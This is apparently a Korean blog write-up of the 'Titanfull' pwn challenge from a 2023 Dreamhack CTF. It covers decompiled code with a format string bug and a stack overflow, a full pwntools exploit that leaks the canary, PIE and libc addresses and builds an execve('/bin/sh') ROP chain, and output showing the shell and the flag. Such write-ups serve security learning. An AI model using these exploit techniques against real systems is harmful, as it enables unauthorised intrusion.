문제 설명

    해당 문제는 2023 X-mas CTF 에 출제된 문제입니다.

    제작자가 어느 게임에 감명받아 만든 프로그램입니다.
    취약점을 찾아 플레그를 얻으세요!

    checksec

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ checksec ./titanfull
    [*] '/home/ubuntu/Desktop/dreamhack-CTF/Titanfull/titanfull'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled

    Decompiled-src

    menu

    void __noreturn menu()
    {
      int v0; // [rsp+Ch] [rbp-54h] BYREF
      char buf[72]; // [rsp+10h] [rbp-50h] BYREF
      unsigned __int64 v2; // [rsp+58h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("-----------------------------------------------------------------------");
      puts(&byte_2108);
      puts(&byte_21E0);
      puts(&byte_22B8);
      puts(&byte_2390);
      puts(&byte_2468);
      puts(&byte_2540);
      puts("-----------------------------------------------------------------------");
      write(1, "What your name pilot? > ", 0x18uLL);
      read(0, buf, 48uLL);
      printf("hello, ");
      printf(buf);                                  // trigger FORMAT STRING BUG!!!
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. Titan select");
          puts("2. Lunch Titan");
          puts("3. exit");
          printf("> ");
          __isoc99_scanf("%d", &v0);
          if ( v0 != 7274 )
            break;
          if ( check == 1 )
            goto LABEL_18;
          vanguard();
        }
        if ( v0 <= 7274 )
        {
          if ( v0 == 3 )
            exit(0);
          if ( v0 <= 3 )
          {
            if ( v0 == 1 )
            {
              if ( check != 1 )
                select_titan();
              else
    LABEL_18:
                puts("You already select titan!");
            }
            else if ( v0 == 2 )
            {
              if ( check )
              {
                printf("Standby for titanfall!");
                exit(0);
              }
              puts("Plese select titan!");
            }
          }
        }
      }
    }

    vanguard

    unsigned __int64 vanguard()
    {
      char v1[24]; // [rsp+0h] [rbp-20h] BYREF
      unsigned __int64 v2; // [rsp+18h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      puts("You selected RSR vanguard class titan!");
      printf("Please enter the name of titan : ");
      __isoc99_scanf("%s", v1);                     // trigger BUFFER OVERFLOW!!!
      check = 1;
      return __readfsqword(0x28u) ^ v2;
    }

    Solution

    from pwn import *
    #context.log_level = 'debug'
    context(arch='amd64',os='linux')
    warnings.filterwarnings('ignore')
    
    p = remote('host3.dreamhack.games', 17151)
    libc = ELF('./libc6_2.31-0ubuntu9.12_amd64.so', checksec=False)
    #p = process('./titanfull')
    #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    e = ELF('./titanfull', checksec=False)
    libc_rop = ROP(libc)
    
    # Stage 1. format string bug
    #p.sendlineafter(b'What your name pilot? > ', '%15$p %17$p') #local
    p.sendlineafter(b'What your name pilot? > ', '%25$p %17$p')   #server
    
    p.recvuntil('hello, ')
    
    tmp = p.recvline()
    
    main = tmp.split(b"\n")[0].split(b" ")[0]
    main = int(main, 16)
    
    canary = tmp.split(b"\n")[0].split(b" ")[1]
    canary = int(canary, 16)
    
    bin_base = main - e.sym['main']
    
    success(f"main: {hex(main)}")
    success(f"canary: {hex(canary)}")
    success(f"bin_base: {hex(bin_base)}")
    
    
    p.sendlineafter("> ", "7274")
    
    payload = b"A"*24
    payload += p64(canary)
    payload += b"B"*8
    
    pop_rdi_ret = bin_base + 0x16c3
    puts_got = bin_base + e.got['puts']
    puts = bin_base + e.sym['puts']
    
    # Stage 2. Leak libc address
    # ROP: puts(puts_got); call vanguard;
    payload += p64(pop_rdi_ret) 
    payload += p64(puts_got)
    payload += p64(puts)
    payload += p64(bin_base + e.sym['vanguard'])
    
    p.sendlineafter("Please enter the name of titan : ", payload)
    
    libc_puts = p.recv(6)
    libc_puts = libc_puts.ljust(8, b"\x00")
    libc_puts = u64(libc_puts)
    success(f"libc_puts: {hex(libc_puts)}")
    libc_base = libc_puts - libc.sym['puts']
    success(f"libc_base: {hex(libc_base)}")
    
    payload = b"A"*24
    payload += p64(canary)
    payload += b"B"*8
    
    bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    pop_rdi_ret = libc_base + libc_rop.find_gadget(['pop rdi', 'ret']).address
    pop_rsi_ret = libc_base + 0x2601f
    pop_rdx_ret = libc_base + libc_rop.find_gadget(['pop rdx', 'ret']).address
    
    # Stage 3. get shell
    # ROP: execve("/bin/sh", NULL, NULL);
    #set rdi
    payload += p64(pop_rdi_ret)
    payload += p64(bin_sh) #arg1: /bin/sh
    #set rsi
    payload += p64(pop_rsi_ret)
    payload += p64(0) #arg2: NULL
    #set rdx
    payload += p64(pop_rdx_ret)
    payload += p64(0) #arg3: NULL
    
    payload += p64(libc_base + libc.sym['execve'])
    
    p.sendlineafter("Please enter the name of titan : ", payload)
    
    p.interactive()

    Result

    ubuntu@wh1te4ever-main:~/Desktop/dreamhack-CTF/Titanfull$ python3 solve.py
    [+] Opening connection to host3.dreamhack.games on port 17151: Done
    [*] Loaded 196 cached gadgets for './libc6_2.31-0ubuntu9.12_amd64.so'
    [+] main: 0x5610e7db5630
    [+] canary: 0xb896644c05819d00
    [+] bin_base: 0x5610e7db4000
    [+] libc_puts: 0x7f1547a7b420
    [+] libc_base: 0x7f15479f7000
    [*] Switching to interactive mode
    $ cat flag
    DH{ab48f98344b43e07fd53091e3ba1602fb1da237581f2b7fe22fcc43584a9c4b5}
    $ 
    [*] Interrupted
    [*] Closed connection to host3.dreamhack.games port 17151

    답글 남기기

    이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다